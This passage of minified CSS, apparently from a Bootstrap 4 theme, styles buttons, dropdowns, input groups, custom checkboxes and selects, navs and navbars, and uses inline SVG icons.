rgba(34,178,76,0.5)}.btn-outline-info{color:#369;background-color:transparent;background-image:none;border-color:#369}.btn-outline-info:hover{color:#fff;background-color:#369;border-color:#369}.btn-outline-info:focus,.btn-outline-info.focus{-webkit-box-shadow:0 0 0 0.2rem rgba(51,102,153,0.5);box-shadow:0 0 0 0.2rem rgba(51,102,153,0.5)}.btn-outline-info.disabled,.btn-outline-info:disabled{color:#369;background-color:transparent}.btn-outline-info:not(:disabled):not(.disabled):active,.btn-outline-info:not(:disabled):not(.disabled).active,.show>.btn-outline-info.dropdown-toggle{color:#fff;background-color:#369;border-color:#369}.btn-outline-info:not(:disabled):not(.disabled):active:focus,.btn-outline-info:not(:disabled):not(.disabled).active:focus,.show>.btn-outline-info.dropdown-toggle:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(51,102,153,0.5);box-shadow:0 0 0 0.2rem rgba(51,102,153,0.5)}.btn-outline-warning{color:#F5E625;background-color:transparent;background-image:none;border-color:#F5E625}.btn-outline-warning:hover{color:#222;background-color:#F5E625;border-color:#F5E625}.btn-outline-warning:focus,.btn-outline-warning.focus{-webkit-box-shadow:0 0 0 0.2rem rgba(245,230,37,0.5);box-shadow:0 0 0 0.2rem rgba(245,230,37,0.5)}.btn-outline-warning.disabled,.btn-outline-warning:disabled{color:#F5E625;background-color:transparent}.btn-outline-warning:not(:disabled):not(.disabled):active,.btn-outline-warning:not(:disabled):not(.disabled).active,.show>.btn-outline-warning.dropdown-toggle{color:#222;background-color:#F5E625;border-color:#F5E625}.btn-outline-warning:not(:disabled):not(.disabled):active:focus,.btn-outline-warning:not(:disabled):not(.disabled).active:focus,.show>.btn-outline-warning.dropdown-toggle:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(245,230,37,0.5);box-shadow:0 0 0 0.2rem rgba(245,230,37,0.5)}.btn-outline-danger{color:#F57A00;background-color:transparent;background-image:none;border-color:#F57A00}.btn-outline-danger:hover{color:#fff;background-color:#F57A00;border-color:#F57A00}.btn-outline-danger:focus,.btn-outline-danger.focus{-webkit-box-shadow:0 0 0 0.2rem rgba(245,122,0,0.5);box-shadow:0 0 0 0.2rem rgba(245,122,0,0.5)}.btn-outline-danger.disabled,.btn-outline-danger:disabled{color:#F57A00;background-color:transparent}.btn-outline-danger:not(:disabled):not(.disabled):active,.btn-outline-danger:not(:disabled):not(.disabled).active,.show>.btn-outline-danger.dropdown-toggle{color:#fff;background-color:#F57A00;border-color:#F57A00}.btn-outline-danger:not(:disabled):not(.disabled):active:focus,.btn-outline-danger:not(:disabled):not(.disabled).active:focus,.show>.btn-outline-danger.dropdown-toggle:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(245,122,0,0.5);box-shadow:0 0 0 0.2rem rgba(245,122,0,0.5)}.btn-outline-light{color:#f8f9fa;background-color:transparent;background-image:none;border-color:#f8f9fa}.btn-outline-light:hover{color:#222;background-color:#f8f9fa;border-color:#f8f9fa}.btn-outline-light:focus,.btn-outline-light.focus{-webkit-box-shadow:0 0 0 0.2rem rgba(248,249,250,0.5);box-shadow:0 0 0 0.2rem rgba(248,249,250,0.5)}.btn-outline-light.disabled,.btn-outline-light:disabled{color:#f8f9fa;background-color:transparent}.btn-outline-light:not(:disabled):not(.disabled):active,.btn-outline-light:not(:disabled):not(.disabled).active,.show>.btn-outline-light.dropdown-toggle{color:#222;background-color:#f8f9fa;border-color:#f8f9fa}.btn-outline-light:not(:disabled):not(.disabled):active:focus,.btn-outline-light:not(:disabled):not(.disabled).active:focus,.show>.btn-outline-light.dropdown-toggle:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(248,249,250,0.5);box-shadow:0 0 0 0.2rem rgba(248,249,250,0.5)}.btn-outline-dark{color:#222;background-color:transparent;background-image:none;border-color:#222}.btn-outline-dark:hover{color:#fff;background-color:#222;border-color:#222}.btn-outline-dark:focus,.btn-outline-dark.focus{-webkit-box-shadow:0 0 0 0.2rem rgba(34,34,34,0.5);box-shadow:0 0 0 0.2rem rgba(34,34,34,0.5)}.btn-outline-dark.disabled,.btn-outline-dark:disabled{color:#222;background-color:transparent}.btn-outline-dark:not(:disabled):not(.disabled):active,.btn-outline-dark:not(:disabled):not(.disabled).active,.show>.btn-outline-dark.dropdown-toggle{color:#fff;background-color:#222;border-color:#222}.btn-outline-dark:not(:disabled):not(.disabled):active:focus,.btn-outline-dark:not(:disabled):not(.disabled).active:focus,.show>.btn-outline-dark.dropdown-toggle:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(34,34,34,0.5);box-shadow:0 0 0 0.2rem rgba(34,34,34,0.5)}.btn-link{font-weight:400;color:#EB6864;background-color:transparent}.btn-link:hover{color:#e22620;text-decoration:underline;background-color:transparent;border-color:transparent}.btn-link:focus,.btn-link.focus{text-decoration:underline;border-color:transparent;-webkit-box-shadow:none;box-shadow:none}.btn-link:disabled,.btn-link.disabled{color:#777}.btn-lg,.btn-group-lg>.btn{padding:0.5rem 1rem;font-size:1.25rem;line-height:1.5;border-radius:0.3rem}.btn-sm,.btn-group-sm>.btn{padding:0.25rem 0.5rem;font-size:0.875rem;line-height:1.5;border-radius:0.2rem}.btn-block{display:block;width:100%}.btn-block+.btn-block{margin-top:0.5rem}input[type="submit"].btn-block,input[type="reset"].btn-block,input[type="button"].btn-block{width:100%}.fade{opacity:0;-webkit-transition:opacity 0.15s linear;transition:opacity 0.15s linear}.fade.show{opacity:1}.collapse{display:none}.collapse.show{display:block}tr.collapse.show{display:table-row}tbody.collapse.show{display:table-row-group}.collapsing{position:relative;height:0;overflow:hidden;-webkit-transition:height 0.35s ease;transition:height 0.35s ease}.dropup,.dropdown{position:relative}.dropdown-toggle::after{display:inline-block;width:0;height:0;margin-left:0.255em;vertical-align:0.255em;content:"";border-top:0.3em solid;border-right:0.3em solid transparent;border-bottom:0;border-left:0.3em solid transparent}.dropdown-toggle:empty::after{margin-left:0}.dropdown-menu{position:absolute;top:100%;left:0;z-index:1000;display:none;float:left;min-width:10rem;padding:0.5rem 0;margin:0.125rem 0 0;font-size:1rem;color:#222;text-align:left;list-style:none;background-color:#fff;background-clip:padding-box;border:1px solid rgba(0,0,0,0.15);border-radius:0.25rem}.dropup .dropdown-menu{margin-top:0;margin-bottom:0.125rem}.dropup .dropdown-toggle::after{display:inline-block;width:0;height:0;margin-left:0.255em;vertical-align:0.255em;content:"";border-top:0;border-right:0.3em solid transparent;border-bottom:0.3em solid;border-left:0.3em solid transparent}.dropup .dropdown-toggle:empty::after{margin-left:0}.dropright .dropdown-menu{margin-top:0;margin-left:0.125rem}.dropright .dropdown-toggle::after{display:inline-block;width:0;height:0;margin-left:0.255em;vertical-align:0.255em;content:"";border-top:0.3em solid transparent;border-bottom:0.3em solid transparent;border-left:0.3em solid}.dropright .dropdown-toggle:empty::after{margin-left:0}.dropright .dropdown-toggle::after{vertical-align:0}.dropleft .dropdown-menu{margin-top:0;margin-right:0.125rem}.dropleft .dropdown-toggle::after{display:inline-block;width:0;height:0;margin-left:0.255em;vertical-align:0.255em;content:""}.dropleft .dropdown-toggle::after{display:none}.dropleft .dropdown-toggle::before{display:inline-block;width:0;height:0;margin-right:0.255em;vertical-align:0.255em;content:"";border-top:0.3em solid transparent;border-right:0.3em solid;border-bottom:0.3em solid transparent}.dropleft .dropdown-toggle:empty::after{margin-left:0}.dropleft .dropdown-toggle::before{vertical-align:0}.dropdown-divider{height:0;margin:0.5rem 0;overflow:hidden;border-top:1px solid #eee}.dropdown-item{display:block;width:100%;padding:0.25rem 1.5rem;clear:both;font-weight:400;color:#222;text-align:inherit;white-space:nowrap;background-color:transparent;border:0}.dropdown-item:hover,.dropdown-item:focus{color:#151515;text-decoration:none;background-color:#f8f9fa}.dropdown-item.active,.dropdown-item:active{color:#fff;text-decoration:none;background-color:#EB6864}.dropdown-item.disabled,.dropdown-item:disabled{color:#777;background-color:transparent}.dropdown-menu.show{display:block}.dropdown-header{display:block;padding:0.5rem 1.5rem;margin-bottom:0;font-size:0.875rem;color:#777;white-space:nowrap}.btn-group,.btn-group-vertical{position:relative;display:-webkit-inline-box;display:-ms-inline-flexbox;display:inline-flex;vertical-align:middle}.btn-group>.btn,.btn-group-vertical>.btn{position:relative;-webkit-box-flex:0;-ms-flex:0 1 auto;flex:0 1 auto}.btn-group>.btn:hover,.btn-group-vertical>.btn:hover{z-index:1}.btn-group>.btn:focus,.btn-group>.btn:active,.btn-group>.btn.active,.btn-group-vertical>.btn:focus,.btn-group-vertical>.btn:active,.btn-group-vertical>.btn.active{z-index:1}.btn-group .btn+.btn,.btn-group .btn+.btn-group,.btn-group .btn-group+.btn,.btn-group .btn-group+.btn-group,.btn-group-vertical .btn+.btn,.btn-group-vertical .btn+.btn-group,.btn-group-vertical .btn-group+.btn,.btn-group-vertical .btn-group+.btn-group{margin-left:-1px}.btn-toolbar{display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;-webkit-box-pack:start;-ms-flex-pack:start;justify-content:flex-start}.btn-toolbar .input-group{width:auto}.btn-group>.btn:first-child{margin-left:0}.btn-group>.btn:not(:last-child):not(.dropdown-toggle),.btn-group>.btn-group:not(:last-child)>.btn{border-top-right-radius:0;border-bottom-right-radius:0}.btn-group>.btn:not(:first-child),.btn-group>.btn-group:not(:first-child)>.btn{border-top-left-radius:0;border-bottom-left-radius:0}.dropdown-toggle-split{padding-right:0.75rem;padding-left:0.75rem}.dropdown-toggle-split::after{margin-left:0}.btn-sm+.dropdown-toggle-split,.btn-group-sm>.btn+.dropdown-toggle-split{padding-right:0.375rem;padding-left:0.375rem}.btn-lg+.dropdown-toggle-split,.btn-group-lg>.btn+.dropdown-toggle-split{padding-right:0.75rem;padding-left:0.75rem}.btn-group-vertical{-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column;-webkit-box-align:start;-ms-flex-align:start;align-items:flex-start;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center}.btn-group-vertical .btn,.btn-group-vertical .btn-group{width:100%}.btn-group-vertical>.btn+.btn,.btn-group-vertical>.btn+.btn-group,.btn-group-vertical>.btn-group+.btn,.btn-group-vertical>.btn-group+.btn-group{margin-top:-1px;margin-left:0}.btn-group-vertical>.btn:not(:last-child):not(.dropdown-toggle),.btn-group-vertical>.btn-group:not(:last-child)>.btn{border-bottom-right-radius:0;border-bottom-left-radius:0}.btn-group-vertical>.btn:not(:first-child),.btn-group-vertical>.btn-group:not(:first-child)>.btn{border-top-left-radius:0;border-top-right-radius:0}.btn-group-toggle>.btn,.btn-group-toggle>.btn-group>.btn{margin-bottom:0}.btn-group-toggle>.btn input[type="radio"],.btn-group-toggle>.btn input[type="checkbox"],.btn-group-toggle>.btn-group>.btn input[type="radio"],.btn-group-toggle>.btn-group>.btn input[type="checkbox"]{position:absolute;clip:rect(0, 0, 0, 0);pointer-events:none}.input-group{position:relative;display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;-webkit-box-align:stretch;-ms-flex-align:stretch;align-items:stretch;width:100%}.input-group>.form-control,.input-group>.custom-select,.input-group>.custom-file{position:relative;-webkit-box-flex:1;-ms-flex:1 1 auto;flex:1 1 auto;width:1%;margin-bottom:0}.input-group>.form-control:focus,.input-group>.custom-select:focus,.input-group>.custom-file:focus{z-index:3}.input-group>.form-control+.form-control,.input-group>.form-control+.custom-select,.input-group>.form-control+.custom-file,.input-group>.custom-select+.form-control,.input-group>.custom-select+.custom-select,.input-group>.custom-select+.custom-file,.input-group>.custom-file+.form-control,.input-group>.custom-file+.custom-select,.input-group>.custom-file+.custom-file{margin-left:-1px}.input-group>.form-control:not(:last-child),.input-group>.custom-select:not(:last-child){border-top-right-radius:0;border-bottom-right-radius:0}.input-group>.form-control:not(:first-child),.input-group>.custom-select:not(:first-child){border-top-left-radius:0;border-bottom-left-radius:0}.input-group>.custom-file{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center}.input-group>.custom-file:not(:last-child) .custom-file-label,.input-group>.custom-file:not(:last-child) .custom-file-label::before{border-top-right-radius:0;border-bottom-right-radius:0}.input-group>.custom-file:not(:first-child) .custom-file-label,.input-group>.custom-file:not(:first-child) .custom-file-label::before{border-top-left-radius:0;border-bottom-left-radius:0}.input-group-prepend,.input-group-append{display:-webkit-box;display:-ms-flexbox;display:flex}.input-group-prepend .btn,.input-group-append .btn{position:relative;z-index:2}.input-group-prepend .btn+.btn,.input-group-prepend .btn+.input-group-text,.input-group-prepend .input-group-text+.input-group-text,.input-group-prepend .input-group-text+.btn,.input-group-append .btn+.btn,.input-group-append .btn+.input-group-text,.input-group-append .input-group-text+.input-group-text,.input-group-append .input-group-text+.btn{margin-left:-1px}.input-group-prepend{margin-right:-1px}.input-group-append{margin-left:-1px}.input-group-text{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;padding:0.375rem 1rem;margin-bottom:0;font-size:1rem;font-weight:400;line-height:1.5;color:#495057;text-align:center;white-space:nowrap;background-color:#eee;border:1px solid #ced4da;border-radius:0.25rem}.input-group-text input[type="radio"],.input-group-text input[type="checkbox"]{margin-top:0}.input-group>.input-group-prepend>.btn,.input-group>.input-group-prepend>.input-group-text,.input-group>.input-group-append:not(:last-child)>.btn,.input-group>.input-group-append:not(:last-child)>.input-group-text,.input-group>.input-group-append:last-child>.btn:not(:last-child):not(.dropdown-toggle),.input-group>.input-group-append:last-child>.input-group-text:not(:last-child){border-top-right-radius:0;border-bottom-right-radius:0}.input-group>.input-group-append>.btn,.input-group>.input-group-append>.input-group-text,.input-group>.input-group-prepend:not(:first-child)>.btn,.input-group>.input-group-prepend:not(:first-child)>.input-group-text,.input-group>.input-group-prepend:first-child>.btn:not(:first-child),.input-group>.input-group-prepend:first-child>.input-group-text:not(:first-child){border-top-left-radius:0;border-bottom-left-radius:0}.custom-control{position:relative;display:block;min-height:1.5rem;padding-left:1.5rem}.custom-control-inline{display:-webkit-inline-box;display:-ms-inline-flexbox;display:inline-flex;margin-right:1rem}.custom-control-input{position:absolute;z-index:-1;opacity:0}.custom-control-input:checked ~ .custom-control-label::before{color:#fff;background-color:#EB6864}.custom-control-input:focus ~ .custom-control-label::before{-webkit-box-shadow:0 0 0 1px #fff,0 0 0 0.2rem rgba(235,104,100,0.25);box-shadow:0 0 0 1px #fff,0 0 0 0.2rem rgba(235,104,100,0.25)}.custom-control-input:active ~ .custom-control-label::before{color:#fff;background-color:white}.custom-control-input:disabled ~ .custom-control-label{color:#777}.custom-control-input:disabled ~ .custom-control-label::before{background-color:#eee}.custom-control-label{margin-bottom:0}.custom-control-label::before{position:absolute;top:0.25rem;left:0;display:block;width:1rem;height:1rem;pointer-events:none;content:"";-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;background-color:#dee2e6}.custom-control-label::after{position:absolute;top:0.25rem;left:0;display:block;width:1rem;height:1rem;content:"";background-repeat:no-repeat;background-position:center center;background-size:50% 50%}.custom-checkbox .custom-control-label::before{border-radius:0.25rem}.custom-checkbox .custom-control-input:checked ~ .custom-control-label::before{background-color:#EB6864}.custom-checkbox .custom-control-input:checked ~ .custom-control-label::after{background-image:url("data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 8 8'%3E%3Cpath fill='%23fff' d='M6.564.75l-3.59 3.612-1.538-1.55L0 4.26 2.974 7.25 8 2.193z'/%3E%3C/svg%3E")}.custom-checkbox .custom-control-input:indeterminate ~ .custom-control-label::before{background-color:#EB6864}.custom-checkbox .custom-control-input:indeterminate ~ .custom-control-label::after{background-image:url("data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 4 4'%3E%3Cpath stroke='%23fff' d='M0 2h4'/%3E%3C/svg%3E")}.custom-checkbox .custom-control-input:disabled:checked ~ .custom-control-label::before{background-color:rgba(235,104,100,0.5)}.custom-checkbox .custom-control-input:disabled:indeterminate ~ .custom-control-label::before{background-color:rgba(235,104,100,0.5)}.custom-radio .custom-control-label::before{border-radius:50%}.custom-radio .custom-control-input:checked ~ .custom-control-label::before{background-color:#EB6864}.custom-radio .custom-control-input:checked ~ .custom-control-label::after{background-image:url("data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3E%3Ccircle r='3' fill='%23fff'/%3E%3C/svg%3E")}.custom-radio .custom-control-input:disabled:checked ~ .custom-control-label::before{background-color:rgba(235,104,100,0.5)}.custom-select{display:inline-block;width:100%;height:calc(2.25rem + 2px);padding:0.375rem 1.75rem 0.375rem 0.75rem;line-height:1.5;color:#495057;vertical-align:middle;background:#fff url("data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 4 5'%3E%3Cpath fill='%23333' d='M2 0L0 2h4zm0 5L0 3h4z'/%3E%3C/svg%3E") no-repeat right 0.75rem center;background-size:8px 10px;border:1px solid #ced4da;border-radius:0.25rem;-webkit-appearance:none;-moz-appearance:none;appearance:none}.custom-select:focus{border-color:#fad6d5;outline:0;-webkit-box-shadow:inset 0 1px 2px rgba(0,0,0,0.075),0 0 5px rgba(250,214,213,0.5);box-shadow:inset 0 1px 2px rgba(0,0,0,0.075),0 0 5px rgba(250,214,213,0.5)}.custom-select:focus::-ms-value{color:#495057;background-color:#fff}.custom-select[multiple],.custom-select[size]:not([size="1"]){height:auto;padding-right:0.75rem;background-image:none}.custom-select:disabled{color:#777;background-color:#eee}.custom-select::-ms-expand{opacity:0}.custom-select-sm{height:calc(1.8125rem + 2px);padding-top:0.375rem;padding-bottom:0.375rem;font-size:75%}.custom-select-lg{height:calc(2.875rem + 2px);padding-top:0.375rem;padding-bottom:0.375rem;font-size:125%}.custom-file{position:relative;display:inline-block;width:100%;height:calc(2.25rem + 2px);margin-bottom:0}.custom-file-input{position:relative;z-index:2;width:100%;height:calc(2.25rem + 2px);margin:0;opacity:0}.custom-file-input:focus ~ .custom-file-control{border-color:#fad6d5;-webkit-box-shadow:0 0 0 0.2rem rgba(235,104,100,0.25);box-shadow:0 0 0 0.2rem rgba(235,104,100,0.25)}.custom-file-input:focus ~ .custom-file-control::before{border-color:#fad6d5}.custom-file-input:lang(en) ~ .custom-file-label::after{content:"Browse"}.custom-file-label{position:absolute;top:0;right:0;left:0;z-index:1;height:calc(2.25rem + 2px);padding:0.375rem 1rem;line-height:1.5;color:#495057;background-color:#fff;border:1px solid #ced4da;border-radius:0.25rem}.custom-file-label::after{position:absolute;top:0;right:0;bottom:0;z-index:3;display:block;height:calc(calc(2.25rem + 2px) - 1px * 2);padding:0.375rem 1rem;line-height:1.5;color:#495057;content:"Browse";background-color:#eee;border-left:1px solid #ced4da;border-radius:0 0.25rem 0.25rem 0}.nav{display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;padding-left:0;margin-bottom:0;list-style:none}.nav-link{display:block;padding:0.5rem 1rem}.nav-link:hover,.nav-link:focus{text-decoration:none}.nav-link.disabled{color:#777}.nav-tabs{border-bottom:1px solid #dee2e6}.nav-tabs .nav-item{margin-bottom:-1px}.nav-tabs .nav-link{border:1px solid transparent;border-top-left-radius:0.25rem;border-top-right-radius:0.25rem}.nav-tabs .nav-link:hover,.nav-tabs .nav-link:focus{border-color:#eee #eee #dee2e6}.nav-tabs .nav-link.disabled{color:#777;background-color:transparent;border-color:transparent}.nav-tabs .nav-link.active,.nav-tabs .nav-item.show .nav-link{color:#495057;background-color:#fff;border-color:#dee2e6 #dee2e6 #fff}.nav-tabs .dropdown-menu{margin-top:-1px;border-top-left-radius:0;border-top-right-radius:0}.nav-pills .nav-link{border-radius:0.25rem}.nav-pills .nav-link.active,.nav-pills .show>.nav-link{color:#fff;background-color:#EB6864}.nav-fill .nav-item{-webkit-box-flex:1;-ms-flex:1 1 auto;flex:1 1 auto;text-align:center}.nav-justified .nav-item{-ms-flex-preferred-size:0;flex-basis:0;-webkit-box-flex:1;-ms-flex-positive:1;flex-grow:1;text-align:center}.tab-content>.tab-pane{display:none}.tab-content>.active{display:block}.navbar{position:relative;display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:justify;-ms-flex-pack:justify;justify-content:space-between;padding:0.5rem 1rem}.navbar>.container,.navbar>.container-fluid{display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:justify;-ms-flex-pack:justify;justify-content:space-between}.navbar-brand{display:inline-block;padding-top:0.3125rem;padding-bottom:0.3125rem;margin-right:1rem;font-size:1.25rem;line-height:inherit;white-space:nowrap}.navbar-brand:hover,.navbar-brand:focus{text-decoration:none}.navbar-nav{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column;padding-left:0;margin-bottom:0;list-style:none}.navbar-nav .nav-link{padding-right:0;padding-left:0}.navbar-nav .dropdown-menu{position:static;float:none}.navbar-text{display:inline-block;padding-top:0.5rem;padding-bottom:0.5rem}.navbar-collapse{-ms-flex-preferred-size:100%;flex-basis:100%;-webkit-box-flex:1;-ms-flex-positive:1;flex-grow:1;-webkit-box-align:center;-ms-flex-align:center;align-items:center}.navbar-toggler{padding:0.25rem 0.75rem;font-size:1.25rem;line-height:1;background-color:transparent;border:1px solid transparent;border-radius:0.25rem}.navbar-toggler:hover,.navbar-toggler:focus{text-decoration:none}.navbar-toggler:not(:disabled):not(.disabled){cursor:pointer}.navbar-toggler-icon{display:inline-block;width:1.5em;height:1.5em;vertical-align:middle;content:"";background:no-repeat center center;background-size:100% 100%}@media (max-width: 575.98px){.navbar-expand-sm>.container,.navbar-expand-sm>.container-fluid{padding-right:0;padding-left:0}}@media (min-width: 576px){.navbar-expand-sm{-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-flow:row nowrap;flex-flow:row nowrap;-webkit-box-pack:start;-ms-flex-pack:start;justify-content:flex-start}.navbar-expand-sm .navbar-nav{-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-direction:row;flex-direction:row}.navbar-expand-sm .navbar-nav .dropdown-menu{position:absolute}.navbar-expand-sm .navbar-nav .dropdown-menu-right{right:0;left:auto}.navbar-expand-sm .navbar-nav .nav-link{padding-right:0.5rem;padding-left:0.5rem}.navbar-expand-sm>.container,.navbar-expand-sm>.container-fluid{-ms-flex-wrap:nowrap;flex-wrap:nowrap}.navbar-expand-sm .navbar-collapse{display:-webkit-box !important;display:-ms-flexbox !important;display:flex !important;-ms-flex-preferred-size:auto;flex-basis:auto}.navbar-expand-sm .navbar-toggler{display:none}.navbar-expand-sm .dropup .dropdown-menu{top:auto;bottom:100%}}@media (max-width: 767.98px){.navbar-expand-md>.container,.navbar-expand-md>.container-fluid{padding-right:0;padding-left:0}}@media (min-width: 768px){.navbar-expand-md{-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-flow:row nowrap;flex-flow:row nowrap;-webkit-box-pack:start;-ms-flex-pack:start;justify-content:flex-start}.navbar-expand-md .navbar-nav{-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-direction:row;flex-direction:row}.navbar-expand-md .navbar-nav .dropdown-menu{position:absolute}.navbar-expand-md .navbar-nav .dropdown-menu-right{right:0;left:auto}.navbar-expand-md .navbar-nav .nav-link{padding-right:0.5rem;padding-left:0.5rem}.navbar-expand-md>.container,.navbar-expand-md>.container-fluid{-ms-flex-wrap:nowrap;flex-wrap:nowrap}.navbar-expand-md .navbar-collapse{display:-webkit-box !important;display:-ms-flexbox !important;display:flex !important;-ms-flex-preferred-size:auto;flex-basis:auto}.navbar-expand-md .navbar-toggler{display:none}.navbar-expand-md .dropup .dropdown-menu{top:auto;bottom:100%}}@media (max-width: 991.98px){.navbar-expand-lg>.container,.navbar-expand-lg>.container-fluid{padding-right:0;padding-left:0}}@media (min-width: 992px){.navbar-expand-lg{-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-flow:row nowrap;flex-flow:row nowrap;-webkit-box-pack:start;-ms-flex-pack:start;justify-content:flex-start}.navbar-expand-lg .navbar-nav{-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-direction:row;flex-direction:row}.navbar-expand-lg .navbar-nav .dropdown-menu{position:absolute}.navbar-expand-lg .navbar-nav .dropdown-menu-right{right:0;left:auto}.navbar-expand-lg .navbar-nav .nav-link{padding-right:0.5rem;padding-left:0.5rem}.navbar-expand-lg>.container,.navbar-expand-lg>.container-fluid{-ms-flex-wrap:nowrap;flex-wrap:nowrap}.navbar-expand-lg .navbar-collapse{display:-webkit-box !important;display:-ms-flexbox !important;display:flex !important;-ms-flex-preferred-size:auto;flex-basis:auto}.navbar-expand-lg .navbar-toggler{display:none}.navbar-expand-lg .dropup .dropdown-menu{top:auto;bottom:100%}}@media (max-width: 1199.98px){.navbar-expand-xl>.container,.navbar-expand-xl>.container-fluid{padding-right:0;padding-left:0}}@media (min-width: 1200px){.navbar-expand-xl{-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-flow:row nowrap;flex-flow:row nowrap;-webkit-box-pack:start;-ms-flex-pack:start;justify-content:flex-start}.navbar-expand-xl .navbar-nav{-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-direction:row;flex-direction:row}.navbar-expand-xl .navbar-nav .dropdown-menu{position:absolute}.navbar-expand-xl .navbar-nav .dropdown-menu-right{right:0;left:auto}.navbar-expand-xl .navbar-nav .nav-link{padding-right:0.5rem;padding-left:0.5rem}.navbar-expand-xl>.container,.navbar-expand-xl>.container-fluid{-ms-flex-wrap:nowrap;flex-wrap:nowrap}.navbar-expand-xl .navbar-collapse{display:-webkit-box !important;display:-ms-flexbox !important;display:flex !important;-ms-flex-preferred-size:auto;flex-basis:auto}.navbar-expand-xl .navbar-toggler{display:none}.navbar-expand-xl .dropup .dropdown-menu{top:auto;bottom:100%}}.navbar-expand{-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-flow:row nowrap;flex-flow:row nowrap;-webkit-box-pack:start;-ms-flex-pack:start;justify-content:flex-start}.navbar-expand>.container,.navbar-expand>.container-fluid{padding-right:0;padding-left:0}.navbar-expand .navbar-nav{-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-direction:row;flex-direction:row}.navbar-expand .navbar-nav .dropdown-menu{position:absolute}.navbar-expand .navbar-nav .dropdown-menu-right{right:0;left:auto}.navbar-expand .navbar-nav .nav-link{padding-right:0.5rem;padding-left:0.5rem}.navbar-expand>.container,.navbar-expand>.container-fluid{-ms-flex-wrap:nowrap;flex-wrap:nowrap}.navbar-expand .navbar-collapse{display:-webkit-box !important;display:-ms-flexbox !important;display:flex !important;-ms-flex-preferred-size:auto;flex-basis:auto}.navbar-expand .navbar-toggler{display:none}.navbar-expand .dropup .dropdown-menu{top:auto;bottom:100%}.navbar-light .navbar-brand{color:#000}.navbar-light .navbar-brand:hover,.navbar-light .navbar-brand:focus{color:#000}.navbar-light .navbar-nav .nav-link{color:rgba(0,0,0,0.7)}.navbar-light .navbar-nav .nav-link:hover,.navbar-light .navbar-nav .nav-link:focus{color:#000}.navbar-light .navbar-nav .nav-link.disabled{color:rgba(0,0,0,0.3)}.navbar-light .navbar-nav .show>.nav-link,.navbar-light .navbar-nav .active>.nav-link,.navbar-light .navbar-nav .nav-link.show,.navbar-light .navbar-nav .nav-link.active{color:#000}.navbar-light .navbar-toggler{color:rgba(0,0,0,0.7);border-color:rgba(0,0,0,0.1)}.navbar-light .navbar-toggler-icon{background-image:url("data:image/svg+xml;charset=utf8,%3Csvg viewBox='0 0 30 30' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath stroke='rgba(0, 0, 0, 0.7)' stroke-width='2' stroke-linecap='round' stroke-miterlimit='10' d='M4 7h22M4 15h22M4 23h22'/%3E%3C/svg%3E")}.navbar-light .navbar-text{color:rgba(0,0,0,0.7)}.navbar-light .navbar-text a{color:#000}.navbar-light .navbar-text a:hover,.navbar-light .navbar-text a:focus{color:#000}.navbar-dark .navbar-brand{color:#fff}.navbar-dark .navbar-brand:hover,.navbar-dark .navbar-brand:focus{color:#fff}.navbar-dark .navbar-nav .nav-link{color:rgba(255,255,255,0.5)}.navbar-dark .navbar-nav .nav-link:hover,.navbar-dark .navbar-nav .nav-link:focus{color:rgba(255,255,255,0.75)}.navbar-dark .navbar-nav .nav-link.disabled{color:rgba(255,255,255,0.25)}.navbar-dark .navbar-nav .show>.nav-link,.navbar-dark .navbar-nav .active>.nav-link,.navbar-dark .navbar-nav .nav-link.show,.navbar-dark .navbar-nav .nav-link.active{color:#fff}.navbar-dark .navbar-toggler{color:rgba(255,255,255,0.5);border-color:rgba(255,255,255,0.1)}.navbar-dark .navbar-toggler-icon{background-image:url("data:image/svg+xml;charset=utf8,%3Csvg viewBox='0 0 30 30' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath stroke='rgba(255, 255, 255, 0.5)' stroke-width='2' stroke-linecap='round' stroke-miterlimit='10' d='M4 7h22M4 15h22M4 23h22'/%3E%3C/svg%3E")}.navbar-dark .navbar-text{color:rgba(255,255,255,0.5)}.navbar-dark .navbar-text a{color:#fff}.navbar-dark .navbar-text a:hover,.navbar-dark .navbar-text 